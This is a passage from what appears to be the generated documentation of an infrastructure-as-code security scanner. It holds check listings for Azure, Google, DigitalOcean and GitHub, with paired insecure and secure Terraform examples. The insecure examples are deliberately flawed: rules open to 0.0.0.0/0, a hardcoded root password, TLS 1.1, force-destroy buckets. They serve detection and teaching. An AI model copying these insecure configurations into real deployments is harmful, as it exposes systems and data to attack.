| 42 | 43 | 44 | ### Links 45 | 46 | 47 | - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/data_lake_store](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/data_lake_store){:target="_blank" rel="nofollow noreferrer noopener"} 48 | 49 | - [https://docs.microsoft.com/en-us/azure/data-lake-store/data-lake-store-security-overview](https://docs.microsoft.com/en-us/azure/data-lake-store/data-lake-store-security-overview){:target="_blank" rel="nofollow noreferrer noopener"} 50 | 51 | 52 | 53 | -------------------------------------------------------------------------------- /docs/checks/azure/datalake/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: datalake 3 | --- 4 | 5 | # datalake 6 | 7 | ## Checks 8 | 9 | 10 | - [enable-at-rest-encryption](enable-at-rest-encryption) Unencrypted data lake storage. 11 | 12 | 13 | 14 | -------------------------------------------------------------------------------- /docs/checks/azure/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: azure 3 | --- 4 | 5 | # azure 6 | 7 | ## Services 8 | 9 | 10 | - [appservice](appservice) 11 | 12 | - [authorization](authorization) 13 | 14 | - [compute](compute) 15 | 16 | - [container](container) 17 | 18 | - [database](database) 19 | 20 | - [datafactory](datafactory) 21 | 22 | - [datalake](datalake) 23 | 24 | - [keyvault](keyvault) 25 | 26 | - [monitor](monitor) 27 | 28 | - [network](network) 29 | 30 | - [security-center](security-center) 31 | 32 | - [storage](storage) 33 | 34 | - [synapse](synapse) 35 | 36 | 37 | -------------------------------------------------------------------------------- /docs/checks/azure/keyvault/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: keyvault 3 | --- 4 | 5 | # keyvault 6 | 7 | ## Checks 8 | 9 | 10 | - [content-type-for-secret](content-type-for-secret) Key vault Secret should have a content type set 11 | 12 | - [ensure-key-expiry](ensure-key-expiry) Ensure that the expiration date is set on all keys 13 | 14 | - [ensure-secret-expiry](ensure-secret-expiry) Key Vault Secret should have an expiration date set 15 | 16 | - [no-purge](no-purge) Key vault should have purge protection enabled 17 | 18 | - [specify-network-acl](specify-network-acl) Key vault should have the network acl block specified 19 | 20 | 21 | 22 | -------------------------------------------------------------------------------- /docs/checks/azure/monitor/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: monitor 3 | --- 4 | 5 | # monitor 6 | 7 | ## Checks 8 | 9 | 10 | - [activity-log-retention-set](activity-log-retention-set) Ensure the activity retention log is set to at least a year 11 | 12 | - [capture-all-activities](capture-all-activities) Ensure log profile captures all activities 13 | 14 | - [capture-all-regions](capture-all-regions) Ensure activitys are captured for all locations 15 | 16 | 17 | 18 | -------------------------------------------------------------------------------- /docs/checks/azure/network/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: network 3 | --- 4 | 5 | # network 6 | 7 | ## Checks 8 | 9 | 10 | - [disable-rdp-from-internet](disable-rdp-from-internet) RDP access should not be accessible from the Internet, should be blocked on port 3389 11 | 12 | - [no-public-egress](no-public-egress) An outbound network security rule allows traffic to /0. 13 | 14 | - [no-public-ingress](no-public-ingress) An inbound network security rule allows traffic from /0. 15 | 16 | - [retention-policy-set](retention-policy-set) Retention policy for flow logs should be enabled and set to greater than 90 days 17 | 18 | - [ssh-blocked-from-internet](ssh-blocked-from-internet) SSH access should not be accessible from the Internet, should be blocked on port 22 19 | 20 | 21 | 22 | -------------------------------------------------------------------------------- /docs/checks/azure/network/no-public-egress/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: An outbound network security rule allows traffic to /0. 3 | --- 4 | 5 | # An outbound network security rule allows traffic to /0. 6 | 7 | ### Default Severity: critical 8 | 9 | ### Explanation 10 | 11 | Network security rules should not use very broad subnets. 12 | 13 | Where possible, segments should be broken into smaller subnets. 14 | 15 | ### Possible Impact 16 | The port is exposed for egress to the internet 17 | 18 | ### Suggested Resolution 19 | Set a more restrictive cidr range 20 | 21 | 22 | ### Insecure Example 23 | 24 | The following example will fail the azure-network-no-public-egress check. 25 | ```terraform 26 | 27 | resource "azurerm_network_security_rule" "bad_example" { 28 | direction = "Outbound" 29 | destination_address_prefix = "0.0.0.0/0" 30 | access = "Allow" 31 | } 32 | ``` 33 | 34 | 35 | 36 | ### Secure Example 37 | 38 | The following example will pass the azure-network-no-public-egress check. 39 | ```terraform 40 | 41 | resource "azurerm_network_security_rule" "good_example" { 42 | direction = "Outbound" 43 | destination_address_prefix = "10.0.0.0/16" 44 | access = "Allow" 45 | } 46 | ``` 47 | 48 | 49 | 50 | ### Links 51 | 52 | 53 | - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/network_security_rule](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/network_security_rule){:target="_blank" rel="nofollow noreferrer noopener"} 54 | 55 | - [https://docs.microsoft.com/en-us/azure/security/fundamentals/network-best-practices](https://docs.microsoft.com/en-us/azure/security/fundamentals/network-best-practices){:target="_blank" rel="nofollow noreferrer noopener"} 56 | 57 | 58 | 59 | -------------------------------------------------------------------------------- /docs/checks/azure/network/no-public-ingress/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: An inbound network security rule allows traffic from /0. 3 | --- 4 | 5 | # An inbound network security rule allows traffic from /0. 6 | 7 | ### Default Severity: critical 8 | 9 | ### Explanation 10 | 11 | Network security rules should not use very broad subnets. 12 | 13 | Where possible, segments should be broken into smaller subnets. 14 | 15 | ### Possible Impact 16 | The port is exposed for ingress from the internet 17 | 18 | ### Suggested Resolution 19 | Set a more restrictive cidr range 20 | 21 | 22 | ### Insecure Example 23 | 24 | The following example will fail the azure-network-no-public-ingress check. 25 | ```terraform 26 | 27 | resource "azurerm_network_security_rule" "bad_example" { 28 | direction = "Inbound" 29 | source_address_prefix = "0.0.0.0/0" 30 | access = "Allow" 31 | } 32 | ``` 33 | 34 | 35 | 36 | ### Secure Example 37 | 38 | The following example will pass the azure-network-no-public-ingress check. 39 | ```terraform 40 | 41 | resource "azurerm_network_security_rule" "good_example" { 42 | direction = "Inbound" 43 | destination_address_prefix = "10.0.0.0/16" 44 | access = "Allow" 45 | } 46 | ``` 47 | 48 | 49 | 50 | ### Links 51 | 52 | 53 | - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/network_security_rule](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/network_security_rule){:target="_blank" rel="nofollow noreferrer noopener"} 54 | 55 | - [https://docs.microsoft.com/en-us/azure/security/fundamentals/network-best-practices](https://docs.microsoft.com/en-us/azure/security/fundamentals/network-best-practices){:target="_blank" rel="nofollow noreferrer noopener"} 56 | 57 | 58 | 59 | -------------------------------------------------------------------------------- /docs/checks/azure/security-center/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: security-center 3 | --- 4 | 5 | # security-center 6 | 7 | ## Checks 8 | 9 | 10 | - [alert-on-severe-notifications](alert-on-severe-notifications) Send notification emails for high severity alerts 11 | 12 | - [enable-standard-subscription](enable-standard-subscription) Enable the standard security center subscription tier 13 | 14 | - [set-required-contact-details](set-required-contact-details) The required contact details should be set for security center 15 | 16 | 17 | 18 | -------------------------------------------------------------------------------- /docs/checks/azure/storage/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: storage 3 | --- 4 | 5 | # storage 6 | 7 | ## Checks 8 | 9 | 10 | - [allow-microsoft-service-bypass](allow-microsoft-service-bypass) Trusted Microsoft Services should have bypass access to Storage accounts 11 | 12 | - [default-action-deny](default-action-deny) The default action on Storage account network rules should be set to deny 13 | 14 | - [enforce-https](enforce-https) Storage accounts should be configured to only accept transfers that are over secure connections 15 | 16 | - [no-public-access](no-public-access) Storage containers in blob storage mode should not have public access 17 | 18 | - [queue-services-logging-enabled](queue-services-logging-enabled) When using Queue Services for a storage account, logging should be enabled. 19 | 20 | - [use-secure-tls-policy](use-secure-tls-policy) The minimum TLS version for Storage Accounts should be TLS1_2 21 | 22 | 23 | 24 | -------------------------------------------------------------------------------- /docs/checks/azure/synapse/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: synapse 3 | --- 4 | 5 | # synapse 6 | 7 | ## Checks 8 | 9 | 10 | - [virtual-network-enabled](virtual-network-enabled) Synapse Workspace should have managed virtual network enabled, the default is disabled. 11 | 12 | 13 | 14 | -------------------------------------------------------------------------------- /docs/checks/cloudstack/compute/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: compute 3 | --- 4 | 5 | # compute 6 | 7 | ## Checks 8 | 9 | 10 | - [no-sensitive-info](no-sensitive-info) No sensitive data stored in user_data 11 | 12 | 13 | 14 | -------------------------------------------------------------------------------- /docs/checks/cloudstack/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: cloudstack 3 | --- 4 | 5 | # cloudstack 6 | 7 | ## Services 8 | 9 | 10 | - [compute](compute) 11 | 12 | 13 | -------------------------------------------------------------------------------- /docs/checks/digitalocean/compute/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: compute 3 | --- 4 | 5 | # compute 6 | 7 | ## Checks 8 | 9 | 10 | - [enforce-https](enforce-https) The load balancer forwarding rule is using an insecure protocol as an entrypoint 11 | 12 | - [kubernetes-auto-upgrades-not-enabled](kubernetes-auto-upgrades-not-enabled) Kubernetes clusters should be auto-upgraded to ensure that they always contain the latest security patches. 13 | 14 | - [no-public-egress](no-public-egress) The firewall has an outbound rule with open access 15 | 16 | - [no-public-ingress](no-public-ingress) The firewall has an inbound rule with open access 17 | 18 | - [surge-upgrades-not-enabled](surge-upgrades-not-enabled) The Kubernetes cluster does not enable surge upgrades 19 | 20 | - [use-ssh-keys](use-ssh-keys) SSH Keys are the preferred way to connect to your droplet, no keys are supplied 21 | 22 | 23 | 24 | -------------------------------------------------------------------------------- /docs/checks/digitalocean/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: digitalocean 3 | --- 4 | 5 | # digitalocean 6 | 7 | ## Services 8 | 9 | 10 | - [compute](compute) 11 | 12 | - [spaces](spaces) 13 | 14 | 15 | -------------------------------------------------------------------------------- /docs/checks/digitalocean/spaces/disable-force-destroy/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Force destroy is enabled on Spaces bucket which is dangerous 3 | --- 4 | 5 | # Force destroy is enabled on Spaces bucket which is dangerous 6 | 7 | ### Default Severity: medium 8 | 9 | ### Explanation 10 | 11 | Enabling force destroy on a Spaces bucket means that the bucket can be deleted without the additional check that it is empty. This risks important data being accidentally deleted by a bucket removal process. 12 | 13 | ### Possible Impact 14 | Accidental deletion of bucket objects 15 | 16 | ### Suggested Resolution 17 | Don't use force destroy on bucket configuration 18 | 19 | 20 | ### Insecure Example 21 | 22 | The following example will fail the digitalocean-spaces-disable-force-destroy check. 23 | ```terraform 24 | 25 | resource "digitalocean_spaces_bucket" "bad_example" { 26 | name = "foobar" 27 | region = "nyc3" 28 | force_destroy = true 29 | } 30 | 31 | ``` 32 | 33 | 34 | 35 | ### Secure Example 36 | 37 | The following example will pass the digitalocean-spaces-disable-force-destroy check. 38 | ```terraform 39 | 40 | resource "digitalocean_spaces_bucket" "good_example" { 41 | name = "foobar" 42 | region = "nyc3" 43 | } 44 | 45 | ``` 46 | 47 | 48 | 49 | ### Links 50 | 51 | 52 | - [https://registry.terraform.io/providers/digitalocean/digitalocean/latest/docs/resources/spaces_bucket#force_destroy](https://registry.terraform.io/providers/digitalocean/digitalocean/latest/docs/resources/spaces_bucket#force_destroy){:target="_blank" rel="nofollow noreferrer noopener"} 53 | 54 | 55 | 56 | -------------------------------------------------------------------------------- /docs/checks/digitalocean/spaces/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: spaces 3 | --- 4 | 5 | # spaces 6 | 7 | ## Checks 8 | 9 | 10 | - [acl-no-public-read](acl-no-public-read) Spaces bucket or bucket object has public read acl set 11 | 12 | - [disable-force-destroy](disable-force-destroy) Force destroy is enabled on Spaces bucket which is dangerous 13 | 14 | - [versioning-enabled](versioning-enabled) Spaces buckets should have versioning enabled 15 | 16 | 17 | 18 | -------------------------------------------------------------------------------- /docs/checks/general/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: general 3 | --- 4 | 5 | # general 6 | 7 | ## Services 8 | 9 | 10 | - [secrets](secrets) 11 | 12 | 13 | -------------------------------------------------------------------------------- /docs/checks/general/secrets/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: secrets 3 | --- 4 | 5 | # secrets 6 | 7 | ## Checks 8 | 9 | 10 | - [no-plaintext-exposure](no-plaintext-exposure) Secret/sensitive data should not be exposed in plaintext. 11 | 12 | - [no-plaintext-exposure](no-plaintext-exposure) Secret/sensitive data should not be exposed in plaintext. 13 | 14 | - [no-plaintext-exposure](no-plaintext-exposure) Secret/sensitive data should not be exposed in plaintext. 15 | 16 | - [no-plaintext-exposure](no-plaintext-exposure) Secret/sensitive data should not be exposed in plaintext. 17 | 18 | - [no-plaintext-exposure](no-plaintext-exposure) Secret/sensitive data should not be exposed in plaintext. 19 | 20 | 21 | 22 | -------------------------------------------------------------------------------- /docs/checks/general/secrets/no-plaintext-exposure/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Secret/sensitive data should not be exposed in plaintext. 3 | --- 4 | 5 | # Secret/sensitive data should not be exposed in plaintext. 6 | 7 | ### Default Severity: critical 8 | 9 | ### Explanation 10 | 11 | Plaintext secrets kept in source code or similar media mean sensitive data is exposed to any users/systems with access to the source code. 12 | 13 | ### Possible Impact 14 | Sensitive data can be leaked to unauthorised people or systems. 15 | 16 | ### Suggested Resolution 17 | Remove plaintext secrets and encrypt them within a secrets manager instead. 18 | 19 | 20 | ### Insecure Example 21 | 22 | The following example will fail the general-secrets-no-plaintext-exposure check. 23 | ```terraform 24 | 25 | variable "password" { 26 | description = "The root password for our VM" 27 | type = string 28 | default = "p4ssw0rd" 29 | } 30 | 31 | resource "evil_corp" "virtual_machine" { 32 | root_password = var.password 33 | } 34 | 35 | ``` 36 | 37 | 38 | 39 | ### Secure Example 40 | 41 | The following example will pass the general-secrets-no-plaintext-exposure check. 42 | ```terraform 43 | 44 | variable "password" { 45 | description = "The root password for our VM" 46 | type = string 47 | } 48 | 49 | resource "evil_corp" "virtual_machine" { 50 | root_password = var.password 51 | } 52 | 53 | ``` 54 | 55 | 56 | 57 | ### Links 58 | 59 | 60 | - [https://www.terraform.io/docs/state/sensitive-data.html](https://www.terraform.io/docs/state/sensitive-data.html){:target="_blank" rel="nofollow noreferrer noopener"} 61 | 62 | 63 | 64 | -------------------------------------------------------------------------------- /docs/checks/github/actions/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: actions 3 | --- 4 | 5 | # actions 6 | 7 | ## Checks 8 | 9 | 10 | - [no-plain-text-action-secrets](no-plain-text-action-secrets) Ensure plaintext value is not used for GitHub Action Environment Secret. 11 | 12 | 13 | 14 | -------------------------------------------------------------------------------- /docs/checks/github/branch_protections/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: branch_protections 3 | --- 4 | 5 | # branch_protections 6 | 7 | ## Checks 8 | 9 | 10 | - [require_signed_commits](require_signed_commits) GitHub branch protection does not require signed commits. 11 | 12 | 13 | 14 | -------------------------------------------------------------------------------- /docs/checks/github/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: github 3 | --- 4 | 5 | # github 6 | 7 | ## Services 8 | 9 | 10 | - [actions](actions) 11 | 12 | - [branch_protections](branch_protections) 13 | 14 | - [repositories](repositories) 15 | 16 | 17 | -------------------------------------------------------------------------------- /docs/checks/github/repositories/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: repositories 3 | --- 4 | 5 | # repositories 6 | 7 | ## Checks 8 | 9 | 10 | - [enable_vulnerability_alerts](enable_vulnerability_alerts) GitHub repository has vulnerability alerts disabled. 11 | 12 | - [private](private) Github repository shouldn't be public. 13 | 14 | 15 | 16 | -------------------------------------------------------------------------------- /docs/checks/google/bigquery/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: bigquery 3 | --- 4 | 5 | # bigquery 6 | 7 | ## Checks 8 | 9 | 10 | - [no-public-access](no-public-access) BigQuery datasets should only be accessible within the organisation 11 | 12 | 13 | 14 | -------------------------------------------------------------------------------- /docs/checks/google/compute/no-public-egress/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: An outbound firewall rule allows traffic to /0. 3 | --- 4 | 5 | # An outbound firewall rule allows traffic to /0. 6 | 7 | ### Default Severity: critical 8 | 9 | ### Explanation 10 | 11 | Network security rules should not use very broad subnets. 12 | 13 | Where possible, segments should be broken into smaller subnets and avoid using the /0 subnet. 14 | 15 | ### Possible Impact 16 | The port is exposed for egress to the internet 17 | 18 | ### Suggested Resolution 19 | Set a more restrictive cidr range 20 | 21 | 22 | ### Insecure Example 23 | 24 | The following example will fail the google-compute-no-public-egress check. 25 | ```terraform 26 | 27 | resource "google_compute_firewall" "bad_example" { 28 | direction = "EGRESS" 29 | allow { 30 | protocol = "icmp" 31 | } 32 | destination_ranges = ["0.0.0.0/0"] 33 | } 34 | ``` 35 | 36 | 37 | 38 | ### Secure Example 39 | 40 | The following example will pass the google-compute-no-public-egress check. 41 | ```terraform 42 | 43 | resource "google_compute_firewall" "good_example" { 44 | direction = "EGRESS" 45 | allow { 46 | protocol = "icmp" 47 | } 48 | destination_ranges = ["1.2.3.4/32"] 49 | } 50 | ``` 51 | 52 | 53 | 54 | ### Links 55 | 56 | 57 | - [https://registry.terraform.io/providers/hashicorp/google/latest/docs/resources/compute_firewall](https://registry.terraform.io/providers/hashicorp/google/latest/docs/resources/compute_firewall){:target="_blank" rel="nofollow noreferrer noopener"} 58 | 59 | - [https://cloud.google.com/vpc/docs/using-firewalls](https://cloud.google.com/vpc/docs/using-firewalls){:target="_blank" rel="nofollow noreferrer noopener"} 60 | 61 | 62 | 63 | -------------------------------------------------------------------------------- /docs/checks/google/compute/project-level-oslogin/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: OS Login should be enabled at project level 3 | --- 4 | 5 | # OS Login should be enabled at project level 6 | 7 | ### Default Severity: medium 8 | 9 | ### Explanation 10 | 11 | OS Login automatically revokes the relevant SSH keys when an IAM user has their access revoked. 12 | 13 | ### Possible Impact 14 | Access via SSH key cannot be revoked automatically when an IAM user is removed. 15 | 16 | ### Suggested Resolution 17 | Enable OS Login at project level 18 | 19 | 20 | ### Insecure Example 21 | 22 | The following example will fail the google-compute-project-level-oslogin check. 23 | ```terraform 24 | 25 | resource "google_compute_project_metadata" "default" { 26 | metadata = { 27 | enable-oslogin = false 28 | } 29 | } 30 | 31 | ``` 32 | 33 | 34 | 35 | ### Secure Example 36 | 37 | The following example will pass the google-compute-project-level-oslogin check. 38 | ```terraform 39 | 40 | resource "google_compute_project_metadata" "default" { 41 | metadata = { 42 | enable-oslogin = true 43 | } 44 | } 45 | 46 | ``` 47 | 48 | 49 | 50 | ### Links 51 | 52 | 53 | - [https://registry.terraform.io/providers/hashicorp/google/latest/docs/resources/compute_project_metadata#](https://registry.terraform.io/providers/hashicorp/google/latest/docs/resources/compute_project_metadata#){:target="_blank" rel="nofollow noreferrer noopener"} 54 | 55 | 56 | 57 | -------------------------------------------------------------------------------- /docs/checks/google/compute/use-secure-tls-policy/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: SSL policies should enforce secure versions of TLS 3 | --- 4 | 5 | # SSL policies should enforce secure versions of TLS 6 | 7 | ### Default Severity: critical 8 | 9 | ### Explanation 10 | 11 | TLS versions prior to 1.2 are outdated and insecure. You should use 1.2 as aminimum version. 12 | 13 | ### Possible Impact 14 | Data in transit is not sufficiently secured 15 | 16 | ### Suggested Resolution 17 | Enforce a minimum TLS version of 1.2 18 | 19 | 20 | ### Insecure Example 21 | 22 | The following example will fail the google-compute-use-secure-tls-policy check. 23 | ```terraform 24 | 25 | resource "google_compute_ssl_policy" "bad_example" { 26 | name = "production-ssl-policy" 27 | profile = "MODERN" 28 | min_tls_version = "TLS_1_1" 29 | } 30 | 31 | 32 | ``` 33 | 34 | 35 | 36 | ### Secure Example 37 | 38 | The following example will pass the google-compute-use-secure-tls-policy check. 39 | ```terraform 40 | 41 | resource "google_compute_ssl_policy" "good_example" { 42 | name = "production-ssl-policy" 43 | profile = "MODERN" 44 | min_tls_version = "TLS_1_2" 45 | } 46 | 47 | ``` 48 | 49 | 50 | 51 | ### Links 52 | 53 | 54 | - [https://registry.terraform.io/providers/hashicorp/google/latest/docs/resources/compute_ssl_policy#min_tls_version](https://registry.terraform.io/providers/hashicorp/google/latest/docs/resources/compute_ssl_policy#min_tls_version){:target="_blank" rel="nofollow noreferrer noopener"} 55 | 56 | 57 | 58 | -------------------------------------------------------------------------------- /docs/checks/google/dns/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: dns 3 | --- 4 | 5 | # dns 6 | 7 | ## Checks 8 | 9 | 10 | - [enable-dnssec](enable-dnssec) Cloud DNS should use DNSSEC 11 | 12 | - [no-rsa-sha1](no-rsa-sha1) Zone signing should not use RSA SHA1 13 | 14 | 15 | 16 | -------------------------------------------------------------------------------- /docs/checks/google/gke/node-shielding-enabled/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Shielded GKE nodes not enabled. 3 | --- 4 | 5 | # Shielded GKE nodes not enabled. 6 | 7 | ### Default Severity: high 8 | 9 | ### Explanation 10 | 11 | CIS GKE Benchmark Recommendation: 6.5.5. Ensure Shielded GKE Nodes are Enabled 12 | 13 | Shielded GKE Nodes provide strong, verifiable node identity and integrity to increase the security of GKE nodes and should be enabled on all GKE clusters. 14 | 15 | ### Possible Impact 16 | Node identity and integrity can't be verified without shielded GKE nodes 17 | 18 | ### Suggested Resolution 19 | Enable node shielding 20 | 21 | 22 | ### Insecure Example 23 | 24 | The following example will fail the google-gke-node-shielding-enabled check. 25 | ```terraform 26 | 27 | resource "google_container_cluster" "bad_example" { 28 | enable_shielded_nodes = "false" 29 | } 30 | ``` 31 | 32 | 33 | 34 | ### Secure Example 35 | 36 | The following example will pass the google-gke-node-shielding-enabled check. 37 | ```terraform 38 | 39 | resource "google_container_cluster" "good_example" { 40 | enable_shielded_nodes = "true" 41 | } 42 | ``` 43 | 44 | 45 | 46 | ### Links 47 | 48 | 49 | - [https://registry.terraform.io/providers/hashicorp/google/latest/docs/resources/container_cluster#enable_shielded_nodes](https://registry.terraform.io/providers/hashicorp/google/latest/docs/resources/container_cluster#enable_shielded_nodes){:target="_blank" rel="nofollow noreferrer noopener"} 50 | 51 | - [https://cloud.google.com/kubernetes-engine/docs/how-to/hardening-your-cluster#shielded_nodes](https://cloud.google.com/kubernetes-engine/docs/how-to/hardening-your-cluster#shielded_nodes){:target="_blank" rel="nofollow noreferrer noopener"} 52 | 53 | 54 | 55 | -------------------------------------------------------------------------------- /docs/checks/google/gke/use-service-account/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Checks for service account defined for GKE nodes 3 | --- 4 | 5 | # Checks for service account defined for GKE nodes 6 | 7 | ### Default Severity: medium 8 | 9 | ### Explanation 10 | 11 | You should create and use a minimally privileged service account to run your GKE cluster instead of using the Compute Engine default service account. 12 | 13 | ### Possible Impact 14 | Service accounts with wide permissions can increase the risk of compromise 15 | 16 | ### Suggested Resolution 17 | Use limited permissions for service accounts to be effective 18 | 19 | 20 | ### Insecure Example 21 | 22 | The following example will fail the google-gke-use-service-account check. 23 | ```terraform 24 | 25 | resource "google_container_cluster" "bad_example" { 26 | node_config { 27 | } 28 | } 29 | 30 | ``` 31 | 32 | 33 | 34 | ### Secure Example 35 | 36 | The following example will pass the google-gke-use-service-account check. 37 | ```terraform 38 | 39 | resource "google_container_cluster" "good_example" { 40 | node_config { 41 | service_account = "cool-service-account@example.com" 42 | } 43 | } 44 | 45 | ``` 46 | 47 | 48 | 49 | ### Links 50 | 51 | 52 | - [https://registry.terraform.io/providers/hashicorp/google/latest/docs/resources/container_cluster#service_account](https://registry.terraform.io/providers/hashicorp/google/latest/docs/resources/container_cluster#service_account){:target="_blank" rel="nofollow noreferrer noopener"} 53 | 54 | - [https://cloud.google.com/kubernetes-engine/docs/how-to/hardening-your-cluster#use_least_privilege_sa](https://cloud.google.com/kubernetes-engine/docs/how-to/hardening-your-cluster#use_least_privilege_sa){:target="_blank" rel="nofollow noreferrer noopener"} 55 | 56 | 57 | 58 | -------------------------------------------------------------------------------- /docs/checks/google/iam/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: iam 3 | --- 4 | 5 | # iam 6 | 7 | ## Checks 8 | 9 | 10 | - [no-default-network](no-default-network) Default network should not be created at project level 11 | 12 | - [no-folder-level-default-service-account-assignment](no-folder-level-default-service-account-assignment) Roles should not be assigned to default service accounts 13 | 14 | - [no-org-level-default-service-account-assignment](no-org-level-default-service-account-assignment) Roles should not be assigned to default service accounts 15 | 16 | - [no-org-level-service-account-impersonation](no-org-level-service-account-impersonation) Users should not be granted service account access at the organization level 17 | 18 | - [no-privileged-service-accounts](no-privileged-service-accounts) Service accounts should not have roles assigned with excessive privileges 19 | 20 | - [no-project-level-default-service-account-assignment](no-project-level-default-service-account-assignment) Roles should not be assigned to default service accounts 21 | 22 | - [no-project-level-service-account-impersonation](no-project-level-service-account-impersonation) Users should not be granted service account access at the project level 23 | 24 | - [no-user-granted-permissions](no-user-granted-permissions) IAM granted directly to user. 25 | 26 | 27 | 28 | -------------------------------------------------------------------------------- /docs/checks/google/iam/no-default-network/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Default network should not be created at project level 3 | --- 4 | 5 | # Default network should not be created at project level 6 | 7 | ### Default Severity: high 8 | 9 | ### Explanation 10 | 11 | The default network which is provided for a project contains multiple insecure firewall rules which allow ingress to the project's infrastructure. Creation of this network should therefore be disabled. 12 | 13 | ### Possible Impact 14 | Exposure of internal infrastructure/services to public internet 15 | 16 | ### Suggested Resolution 17 | Disable automatic default network creation 18 | 19 | 20 | ### Insecure Example 21 | 22 | The following example will fail the google-iam-no-default-network check. 23 | ```terraform 24 | 25 | resource "google_project" "bad_example" { 26 | name = "My Project" 27 | project_id = "your-project-id" 28 | org_id = "1234567" 29 | auto_create_network = true 30 | } 31 | 32 | ``` 33 | 34 | 35 | 36 | ### Secure Example 37 | 38 | The following example will pass the google-iam-no-default-network check. 39 | ```terraform 40 | 41 | resource "google_project" "good_example" { 42 | name = "My Project" 43 | project_id = "your-project-id" 44 | org_id = "1234567" 45 | auto_create_network = false 46 | } 47 | 48 | ``` 49 | 50 | 51 | 52 | ### Links 53 | 54 | 55 | - [https://registry.terraform.io/providers/hashicorp/google/latest/docs/resources/google_project#auto_create_network](https://registry.terraform.io/providers/hashicorp/google/latest/docs/resources/google_project#auto_create_network){:target="_blank" rel="nofollow noreferrer noopener"} 56 | 57 | 58 | 59 | -------------------------------------------------------------------------------- /docs/checks/google/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: google 3 | --- 4 | 5 | # google 6 | 7 | ## Services 8 | 9 | 10 | - [IAM](iam) 11 | 12 | - [bigquery](bigquery) 13 | 14 | - [compute](compute) 15 | 16 | - [dns](dns) 17 | 18 | - [gke](gke) 19 | 20 | - [iam](iam) 21 | 22 | - [kms](kms) 23 | 24 | - [sql](sql) 25 | 26 | - [storage](storage) 27 | 28 | 29 | -------------------------------------------------------------------------------- /docs/checks/google/kms/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: kms 3 | --- 4 | 5 | # kms 6 | 7 | ## Checks 8 | 9 | 10 | - [rotate-kms-keys](rotate-kms-keys) KMS keys should be rotated at least every 90 days 11 | 12 | 13 | 14 | -------------------------------------------------------------------------------- /docs/checks/google/sql/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: sql 3 | --- 4 | 5 | # sql 6 | 7 | ## Checks 8 | 9 | 10 | - [enable-backup](enable-backup) Enable automated backups to recover from data-loss 11 | 12 | - [enable-pg-temp-file-logging](enable-pg-temp-file-logging) Temporary file logging should be enabled for all temporary files. 13 | 14 | - [encrypt-in-transit-data](encrypt-in-transit-data) SSL connections to a SQL database instance should be enforced. 15 | 16 | - [mysql-no-local-infile](mysql-no-local-infile) Disable local_infile setting in MySQL 17 | 18 | - [no-contained-db-auth](no-contained-db-auth) Contained database authentication should be disabled 19 | 20 | - [no-cross-db-ownership-chaining](no-cross-db-ownership-chaining) Cross-database ownership chaining should be disabled 21 | 22 | - [no-public-access](no-public-access) Ensure that Cloud SQL Database Instances are not publicly exposed 23 | 24 | - [pg-log-checkpoints](pg-log-checkpoints) Ensure that logging of checkpoints is enabled. 25 | 26 | - [pg-log-connections](pg-log-connections) Ensure that logging of connections is enabled. 27 | 28 | - [pg-log-disconnections](pg-log-disconnections) Ensure that logging of disconnections is enabled. 29 | 30 | - [pg-log-errors](pg-log-errors) Ensure that Postgres errors are logged 31 | 32 | - [pg-log-lock-waits](pg-log-lock-waits) Ensure that logging of lock waits is enabled. 33 | 34 | - [pg-no-min-statement-logging](pg-no-min-statement-logging) Ensure that logging of long statements is disabled. 35 | 36 | 37 | 38 | -------------------------------------------------------------------------------- /docs/checks/google/storage/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: storage 3 | --- 4 | 5 | # storage 6 | 7 | ## Checks 8 | 9 | 10 | - [enable-ubla](enable-ubla) Ensure that Cloud Storage buckets have uniform bucket-level access enabled 11 | 12 | - [no-public-access](no-public-access) Ensure that Cloud Storage bucket is not anonymously or publicly accessible. 13 | 14 | 15 | 16 | -------------------------------------------------------------------------------- /docs/checks/kubernetes/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: kubernetes 3 | --- 4 | 5 | # kubernetes 6 | 7 | ## Services 8 | 9 | 10 | - [network](network) 11 | 12 | 13 | -------------------------------------------------------------------------------- /docs/checks/kubernetes/network/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: network 3 | --- 4 | 5 | # network 6 | 7 | ## 